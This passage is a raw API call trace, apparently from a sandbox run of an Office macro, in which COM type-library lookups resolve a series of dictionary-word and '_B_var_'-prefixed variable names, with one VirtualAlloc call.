pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.225] IUnknown:Release (This=0x7479720) returned 0x5 [0018.225] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_tallage") returned 0x30efd0 [0018.225] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.225] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buzzword") returned 0x105ce9 [0018.226] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="buzzword" | out: _Dst="buzzword") returned 0x0 [0018.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="buzzword") returned 9 [0018.226] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.226] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="buzzword", lHashVal=0x105ce9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.226] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.226] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="buzzword", lHashVal=0x105ce9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.226] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.226] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="buzzword", lHashVal=0x105ce9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.226] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.226] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="buzzword", lHashVal=0x105ce9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x7479720) returned 0x5 [0018.226] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_buzzword") returned 0x30eace [0018.226] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.226] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="preconceived") returned 0x10f213 [0018.226] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xd, _Src="preconceived" | out: _Dst="preconceived") returned 0x0 [0018.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=13, lpWideCharStr=0x263600, cchWideChar=13 | out: lpWideCharStr="preconceived") returned 13 [0018.226] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.226] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="preconceived", lHashVal=0x10f213, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.226] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.226] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="preconceived", lHashVal=0x10f213, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.226] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.226] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="preconceived", lHashVal=0x10f213, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.226] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.226] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="preconceived", lHashVal=0x10f213, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.226] IUnknown:Release (This=0x7479720) returned 0x5 [0018.226] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_preconceived") returned 0x302b30 [0018.226] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.227] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.227] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="alocasia") returned 0x10edc2 [0018.227] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="alocasia" | out: _Dst="alocasia") returned 0x0 [0018.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="alocasia") returned 9 [0018.227] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.227] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="alocasia", lHashVal=0x10edc2, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.227] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.227] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.227] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="alocasia", lHashVal=0x10edc2, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.227] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.227] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.227] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="alocasia", lHashVal=0x10edc2, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.227] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.227] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.227] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="alocasia", lHashVal=0x10edc2, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.227] IUnknown:Release (This=0x7479720) returned 0x5 [0018.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_alocasia") returned 0x30c54b [0018.227] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.227] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.227] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ambitiously") returned 0x105fdd [0018.227] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xc, _Src="ambitiously" | out: _Dst="ambitiously") returned 0x0 [0018.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=12, lpWideCharStr=0x263600, cchWideChar=12 | out: lpWideCharStr="ambitiously") returned 12 [0018.227] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.227] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ambitiously", lHashVal=0x105fdd, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.228] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.228] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ambitiously", lHashVal=0x105fdd, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.228] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.228] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ambitiously", lHashVal=0x105fdd, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.228] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.228] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ambitiously", lHashVal=0x105fdd, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x7479720) returned 0x5 [0018.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ambitiously") returned 0x3041c2 [0018.228] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.228] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.228] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="inimical") returned 0x1064a7 [0018.228] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="inimical" | out: _Dst="inimical") returned 0x0 [0018.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="inimical") returned 9 [0018.228] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.228] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="inimical", lHashVal=0x1064a7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.228] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.228] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="inimical", lHashVal=0x1064a7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.228] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.228] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="inimical", lHashVal=0x1064a7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.228] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.228] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="inimical", lHashVal=0x1064a7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.228] IUnknown:Release (This=0x7479720) returned 0x5 [0018.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_inimical") returned 0x303c30 [0018.229] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.229] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.229] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="neotoma") returned 0x100691 [0018.229] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="neotoma" | out: _Dst="neotoma") returned 0x0 [0018.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="neotoma") returned 8 [0018.229] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.229] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="neotoma", lHashVal=0x100691, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.229] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.229] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.229] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="neotoma", lHashVal=0x100691, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.229] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.229] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.229] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="neotoma", lHashVal=0x100691, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.229] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.229] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.229] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="neotoma", lHashVal=0x100691, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.229] IUnknown:Release (This=0x7479720) returned 0x5 [0018.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_neotoma") returned 0x300a15 [0018.229] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.229] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.230] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="twitch") returned 0x1090ec [0018.230] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x7, _Src="twitch" | out: _Dst="twitch") returned 0x0 [0018.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=7, lpWideCharStr=0x263600, cchWideChar=7 | out: lpWideCharStr="twitch") returned 7 [0018.230] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.230] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="twitch", lHashVal=0x1090ec, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.230] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.230] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.230] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="twitch", lHashVal=0x1090ec, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.230] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.230] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.230] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="twitch", lHashVal=0x1090ec, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.230] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.230] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.230] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="twitch", lHashVal=0x1090ec, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.230] IUnknown:Release (This=0x7479720) returned 0x5 [0018.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_twitch") returned 0x309d63 [0018.230] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.230] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.230] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf50000 [0018.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x756e7f4, cbMultiByte=5, lpWideCharStr=0xbf500dc, cchWideChar=12 | out: lpWideCharStr="whine") returned 5 [0018.231] IUnknown:QueryInterface (in: This=0x748cde8, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2639a8 | out: ppvObject=0x2639a8*=0x0) returned 0x80004002 [0018.231] IUnknown:QueryInterface (in: This=0x748cde8, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a20 | out: ppvObject=0x263a20*=0x0) returned 0x80004002 [0018.231] IUnknown:QueryInterface (in: This=0x748cde8, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263990 | out: ppvObject=0x263990*=0x0) returned 0x80004002 [0018.231] IUnknown:QueryInterface (in: This=0x748cde8, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a10 | out: ppvObject=0x263a10*=0x0) returned 0x80004002 [0018.231] ITypeInfo:RemoteGetTypeAttr (in: This=0x748cde8, ppTypeAttr=0x263998, pDummy=0x10 | out: ppTypeAttr=0x263998, pDummy=0x10) returned 0x0 [0018.231] ITypeInfo:LocalReleaseTypeAttr (This=0x748cde8) returned 0x0 [0018.231] IUnknown:AddRef (This=0x748cde8) returned 0x3 [0018.232] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bacillariophyceae") returned 0x107370 [0018.232] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x12, _Src="bacillariophyceae" | out: _Dst="bacillariophyceae") returned 0x0 [0018.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=18, lpWideCharStr=0x263600, cchWideChar=18 | out: lpWideCharStr="bacillariophyceae") returned 18 [0018.232] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.232] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bacillariophyceae", lHashVal=0x107370, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.232] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.232] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bacillariophyceae", lHashVal=0x107370, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.232] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.232] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bacillariophyceae", lHashVal=0x107370, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.232] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.232] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bacillariophyceae", lHashVal=0x107370, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x7479720) returned 0x5 [0018.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bacillariophyceae") returned 0x30f5b2 [0018.232] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.232] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.232] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="annulment") returned 0x109be1 [0018.232] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xa, _Src="annulment" | out: _Dst="annulment") returned 0x0 [0018.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=10, lpWideCharStr=0x263600, cchWideChar=10 | out: lpWideCharStr="annulment") returned 10 [0018.232] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.232] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="annulment", lHashVal=0x109be1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.232] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.232] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="annulment", lHashVal=0x109be1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.232] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.232] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="annulment", lHashVal=0x109be1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.232] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.232] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="annulment", lHashVal=0x109be1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.232] IUnknown:Release (This=0x7479720) returned 0x5 [0018.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_annulment") returned 0x30a526 [0018.233] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.233] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="inbounds") returned 0x1068f6 [0018.233] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="inbounds" | out: _Dst="inbounds") returned 0x0 [0018.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="inbounds") returned 9 [0018.233] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.233] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="inbounds", lHashVal=0x1068f6, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.233] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.233] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.233] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="inbounds", lHashVal=0x1068f6, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.233] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.233] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.233] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="inbounds", lHashVal=0x1068f6, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.233] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.233] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.233] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="inbounds", lHashVal=0x1068f6, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.233] IUnknown:Release (This=0x7479720) returned 0x5 [0018.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_inbounds") returned 0x30407f [0018.233] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.233] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bebop") returned 0x10c63e [0018.233] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x6, _Src="bebop" | out: _Dst="bebop") returned 0x0 [0018.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=6, lpWideCharStr=0x263600, cchWideChar=6 | out: lpWideCharStr="bebop") returned 6 [0018.233] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.233] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bebop", lHashVal=0x10c63e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.233] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.233] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.233] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bebop", lHashVal=0x10c63e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.233] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.233] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.233] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bebop", lHashVal=0x10c63e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.234] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.234] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.234] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bebop", lHashVal=0x10c63e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.234] IUnknown:Release (This=0x7479720) returned 0x5 [0018.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bebop") returned 0x308a2b [0018.234] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.234] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="smitane") returned 0x103d0e [0018.234] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="smitane" | out: _Dst="smitane") returned 0x0 [0018.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="smitane") returned 8 [0018.234] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.234] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="smitane", lHashVal=0x103d0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.234] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.234] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.234] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="smitane", lHashVal=0x103d0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.234] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.234] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.234] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="smitane", lHashVal=0x103d0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.234] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.234] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.234] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="smitane", lHashVal=0x103d0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.234] IUnknown:Release (This=0x7479720) returned 0x5 [0018.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_smitane") returned 0x303111 [0018.234] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.234] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="flageolet") returned 0x103c57 [0018.235] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xa, _Src="flageolet" | out: _Dst="flageolet") returned 0x0 [0018.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=10, lpWideCharStr=0x263600, cchWideChar=10 | out: lpWideCharStr="flageolet") returned 10 [0018.235] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.235] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="flageolet", lHashVal=0x103c57, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.235] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.235] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="flageolet", lHashVal=0x103c57, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.235] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.235] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="flageolet", lHashVal=0x103c57, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.235] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.235] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="flageolet", lHashVal=0x103c57, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x7479720) returned 0x5 [0018.235] 